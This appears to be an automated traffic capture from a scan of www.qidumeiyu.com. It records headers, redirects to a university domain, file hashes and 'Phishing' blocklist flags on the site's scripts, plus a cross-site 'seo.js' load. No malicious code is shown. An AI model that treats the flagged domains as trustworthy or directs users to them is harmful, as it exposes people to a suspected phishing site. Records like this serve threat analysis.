x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6419570d-3f28a7502b56eda47dd82ba7;Sampled=0
x-amzn-remapped-date: Tue, 21 Mar 2023 07:04:45 GMT
x-amz-cf-pop: HIO52-P1, SEA19-C3
x-cache: Miss from cloudfront
x-amz-cf-id: FQwexS3AfCYYOg7T9MYj2AbSoYTII1t-c-aX4SzlwEsj0LgBWv5Now==
via: 1.1 ee6ea1e4552345de209d26f9ffb35d4a.cloudfront.net (CloudFront), 1.1 8cb7de37a1655236518810d0aabb8656.cloudfront.net (CloudFront), 1.1 google
date: Wed, 22 Mar 2023 06:23:16 GMT
age: 78243
etag: "0e9b952f6489f0a5f4862d3bea2fbe0ecdd379e5"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   5556
Md5:    c831201ad81f55c63c1b101ce854a810
Sha1:   0e9b952f6489f0a5f4862d3bea2fbe0ecdd379e5
Sha256: c854489720d2ca4a95eef00addda0fcdaf481402d044df7725282654a97eb54a
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F6cff797b-5560-422b-9907-7a2fbe8dd123.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                        
                                             34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                            
server: nginx
content-length: 7424
x-amzn-requestid: 4d4097db-ae95-4a34-8f92-a56c29e836e2
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: CENb6FKDoAMF_cg=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6417f5e5-772b562b3176f7ca0740db72;Sampled=0
x-amzn-remapped-date: Mon, 20 Mar 2023 05:57:57 GMT
x-amz-cf-pop: SEA19-C1
x-cache: Hit from cloudfront
x-amz-cf-id: d_lhTrmtXesTfnCpReJoiiv68EudX-RCSzr3fwqOe3ouJv-M0IOLtw==
via: 1.1 ef6538ee7be7b17c84d06edb0f4c0a1a.cloudfront.net (CloudFront), 1.1 efcf7b9d0f917f9ebf314db03e52d9b6.cloudfront.net (CloudFront), 1.1 google
date: Wed, 22 Mar 2023 21:43:22 GMT
age: 23037
etag: "709b01a360624eceafb1876f56378824aa4936b3"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   7424
Md5:    05c7970e81559904d05b6e8cf693f085
Sha1:   709b01a360624eceafb1876f56378824aa4936b3
Sha256: a4fd80c9bdce27961560d7c31e216706e9e32d42d1edd883e283c149505b3db0
                                        
                                            GET /template_files/2/hdimg/bas/js/swiper.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text, with very long lines (65267)
Size:   38752
Md5:    a4fabdfbe17e2935da423bac1430e74f
Sha1:   d0cc9db114beaeac50eb01ad858460b3048e149a
Sha256: ab7177bbde120b99bfc159bff2a1dacf7d36a286138dc28db698787fe51bddcc

Blocklists:
  - fortinet: Phishing
                                        
                                            GET /template_files/2/hdui/app/css/hdcore.min.css HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: text/css;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  DOS executable (COM)\012- , Unicode text, UTF-8 text, with very long lines (5181)
Size:   96735
Md5:    1bfa4c71521991196e79408a0e96c1e5
Sha1:   382159dbc5c05b53ae389b28370c97d4b407dd89
Sha256: 8cd559be63f2a2f96e2c99b9f565a59df65da1ba53f466d7d0da41f151c51907
                                        
                                            GET /d/_onebox/search.png HTTP/1.1 
Host: p1.qhimg.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

                                        
                                             54.230.111.65
HTTP/1.1 200 OK
Content-Type: image/png
                                            
Content-Length: 2941
Connection: keep-alive
Date: Mon, 06 Feb 2023 18:35:31 GMT
Last-Modified: Tue, 06 Dec 2022 08:33:09 GMT
xzp: zhkbrquvsxaf
Expires: Sun, 07 May 2023 18:35:31 GMT
Cache-Control: max-age=7776000
Access-Control-Allow-Origin: *
XCS: HIT
KCS-Via: MISS from w-fc03.lato;MISS from w-sc09.zzzc
Accept-Ranges: bytes
X-Cache: Hit from cloudfront
Via: 1.1 04c4f064943f75498361739eb063cb7a.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-P1
X-Amz-Cf-Id: vSTLkV9YTZn1ZNi10HJzr5DABZl2W5_aUnu-6t4H5yz5IsApEq_89A==
Age: 3835908


--- Additional Info ---
Magic:  PNG image data, 260 x 43, 8-bit colormap, non-interlaced\012- data
Size:   2941
Md5:    996729035d9ea7dbd1dcf49bf99e78d9
Sha1:   aba797d529929ca0c864eaf7d3261aee61f3ad78
Sha256: f7b46e16e323b71d7e8308e8aa62ab36453dd3b57935424f4b4166947f0e5863
                                        
                                            GET /__local/D/02/89/DC0A46FC5B15B3363FFA78CF6C7_C267B386_4B38.png?e=.png HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/__local/D/02/89/DC0A46FC5B15B3363FFA78CF6C7_C267B386_4B38.png?e=.png

                                        
                                            GET /__local/4/0A/F9/870B5D2D11C72BB667630697A6B_7427D989_1D07D.jpg HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/__local/4/0A/F9/870B5D2D11C72BB667630697A6B_7427D989_1D07D.jpg

                                        
                                            GET /__local/0/57/44/F73EF10A8AB6086C186B1E7C810_6C044BC3_22CAF.jpg HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/__local/0/57/44/F73EF10A8AB6086C186B1E7C810_6C044BC3_22CAF.jpg

                                        
                                            GET /__local/E/0D/0D/FD337FC543B5F7E2303D010EC45_8D3B6FD9_ECF9D.png HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/__local/E/0D/0D/FD337FC543B5F7E2303D010EC45_8D3B6FD9_ECF9D.png

                                        
                                            POST /gsrsaovsslca2018 HTTP/1.1 
Host: ocsp.globalsign.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 79
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             104.18.21.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Date: Thu, 23 Mar 2023 04:07:20 GMT
Content-Length: 1432
Connection: keep-alive
Expires: Mon, 27 Mar 2023 01:30:51 GMT
ETag: "f014550c9aa065ccc7ff9c77674d5d4dfa3636d4"
Last-Modified: Thu, 23 Mar 2023 01:30:52 GMT
Cache-Control: public, no-transform, must-revalidate, s-maxage=3600
CF-Cache-Status: HIT
Age: 3286
Accept-Ranges: bytes
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 7ac3ce8e1ce70b31-OSL


--- Additional Info ---
Magic:  data
Size:   1432
Md5:    417199d3f98448f420130f2462d24a3c
Sha1:   f014550c9aa065ccc7ff9c77674d5d4dfa3636d4
Sha256: 492ca797c00964fc389624160f654a14fcf624ab3c29b1ca5177834fbfcdf3d2
                                        
                                            GET /template_files/2/hdui/app/js/hdjs.min.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (5387)
Size:   24916
Md5:    a5349b45d84b6ba566ac406df99486aa
Sha1:   6f9c80448ff499140ffdb65ddac18afed0d8360c
Sha256: 59025125ad4322f2e68757f85ab5f12c0fad09204dedeb1c0a1399826a206c45

Blocklists:
  - fortinet: Phishing
                                        
                                            GET /4.jpg HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/4.jpg

                                        
                                            GET /template_files/2/hdimg/bas/images/logo.png HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/template_files/2/hdimg/bas/images/logo.png

                                        
                                            GET /1.png HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/1.png

                                        
                                            GET /2.jpg HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/2.jpg

                                        
                                            GET /123456.jpg HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/123456.jpg

                                        
                                            GET /__local/E/47/30/FA1D84421C8654750D927EF0BFB_EA81C3B1_1A1E3.jpg HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/__local/E/47/30/FA1D84421C8654750D927EF0BFB_EA81C3B1_1A1E3.jpg

                                        
                                            GET /__local/5/CF/29/644CD0DB9AAE33B6EA8AD8D94EF_89704D75_9DA9F.png HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/__local/5/CF/29/644CD0DB9AAE33B6EA8AD8D94EF_89704D75_9DA9F.png

                                        
                                            GET /__local/4/18/EB/D651EA59C48C32A9C9053B848F1_CF5B47EF_122BD.jpg HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/__local/4/18/EB/D651EA59C48C32A9C9053B848F1_CF5B47EF_122BD.jpg

                                        
                                            GET /__local/5/53/87/25065DC928D05A43EEB10428EF2_5297625C_141E6.jpg HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/__local/5/53/87/25065DC928D05A43EEB10428EF2_5297625C_141E6.jpg

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "1EB81E76ED16D9135E8D908684D6122DF032353A2DA7E543744BF9E92DE76367"
Last-Modified: Wed, 22 Mar 2023 06:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=13589
Expires: Thu, 23 Mar 2023 07:53:49 GMT
Date: Thu, 23 Mar 2023 04:07:20 GMT
Connection: keep-alive

                                        
                                            POST /gsrsaovsslca2018 HTTP/1.1 
Host: ocsp.globalsign.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 79
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             104.18.21.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Date: Thu, 23 Mar 2023 04:07:20 GMT
Content-Length: 1432
Connection: keep-alive
Expires: Mon, 27 Mar 2023 01:10:01 GMT
ETag: "bb3e7cc878dd548884c219808e9158bbfb568b17"
Last-Modified: Thu, 23 Mar 2023 01:10:02 GMT
Cache-Control: public, no-transform, must-revalidate, s-maxage=3600
CF-Cache-Status: HIT
Age: 2085
Accept-Ranges: bytes
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 7ac3ce910dda0b31-OSL


--- Additional Info ---
Magic:  data
Size:   1432
Md5:    cb31201ad51adef622a61f836233181a
Sha1:   bb3e7cc878dd548884c219808e9158bbfb568b17
Sha256: b1aac5b9b612be9c3997166ca27b251dea19ac0130c9e5bf2d3d60165b925e6d
                                        
                                            GET /__local/5/D8/00/1991DB0341A6C95F852D84A6557_C164ECF1_44181.png HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/__local/5/D8/00/1991DB0341A6C95F852D84A6557_C164ECF1_44181.png

                                        
                                            GET /__local/5/7A/AD/533718992893D8BD845F5523E83_7172E69B_174362E.png HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Location: https://sjys.lut.edu.cn/__local/5/7A/AD/533718992893D8BD845F5523E83_7172E69B_174362E.png

                                        
                                            GET /img/baidu_jgylogo3.gif HTTP/1.1 
Host: www.baidu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.193.88.77
HTTP/1.1 200 OK
Content-Type: image/gif
                                            
Accept-Ranges: bytes
Cache-Control: max-age=315360000
Content-Length: 705
Date: Thu, 23 Mar 2023 04:07:20 GMT
Etag: "2c1-4a6473f6030c0"
Expires: Sun, 20 Mar 2033 04:07:20 GMT
Last-Modified: Wed, 22 Jun 2011 06:40:43 GMT
P3p: CP=" OTI DSP COR IVA OUR IND COM "
Server: Apache
Set-Cookie: BAIDUID=A988BF6B7E6A9F32A6CEB444367DA815:FG=1; expires=Fri, 22-Mar-24 04:07:20 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1


--- Additional Info ---
Magic:  GIF image data, version 89a, 117 x 38\012- data
Size:   705
Md5:    803bb46a6acef395ed9353de2dcf26f5
Sha1:   684764e45ebb267a15c337a6eb671047c7873ead
Sha256: dc506b4253e2bb145e5b370f6088842382a8c2bd0632d9b265744f706727f7f5
                                        
                                            GET /fn888/seo.js HTTP/1.1 
Host: www.yueguo99.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.186
HTTP/1.1 200 OK
Content-Type: application/javascript
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Last-Modified: Thu, 12 May 2022 11:24:29 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
ETag: W/"627cee6d-b38"
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text, with very long lines (2869), with no line terminators
Size:   1730
Md5:    30fbca62f188fd35eccd04a8c5d1c970
Sha1:   2837eccbc51d374e0cf72f9ab314fee4c7b5781e
Sha256: 08ff9748e1add72bb96b2ae4b2a8da9181c6f392bc74d5abcb12b841f41c8dcc
                                        
                                            GET /web/index/images/logo_440x140.v.4.png HTTP/1.1 
Host: www.sogou.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             118.191.216.42
HTTP/1.1 200 OK
Content-Type: image/png
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:20 GMT
Content-Length: 2950
Connection: keep-alive
Last-Modified: Mon, 10 Feb 2020 03:11:55 GMT
Set-Cookie: ABTEST=0|1679544440|v17; expires=Sat, 22-Apr-23 04:07:20 GMT; path=/ IPLOC=NO; expires=Fri, 22-Mar-24 04:07:20 GMT; domain=.sogou.com; path=/ SUID=9A2A5A5B1431A40A00000000641BD078; expires=Wed, 18-Mar-2043 04:07:20 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
ETag: "5e40c9fb-b86"
Expires: Tue, 19 Sep 2023 04:07:20 GMT
Cache-Control: max-age=15552000
UUID: b0134734-5145-4fd3-b5a7-a105ae52534d
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image data, 440 x 140, 8-bit colormap, non-interlaced\012- data
Size:   2950
Md5:    31de1d2fa7d918fab2f59984391db1c8
Sha1:   4f4b78796b3fbf19971f182175bcd92b01ee470f
Sha256: 29f87d6615f36a54e3edc8c7f05eb9b480d1f2989dec8da68e82747d060aea85
                                        
                                            GET /template_files/2/hdimg/bas/js/surpslide_min.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
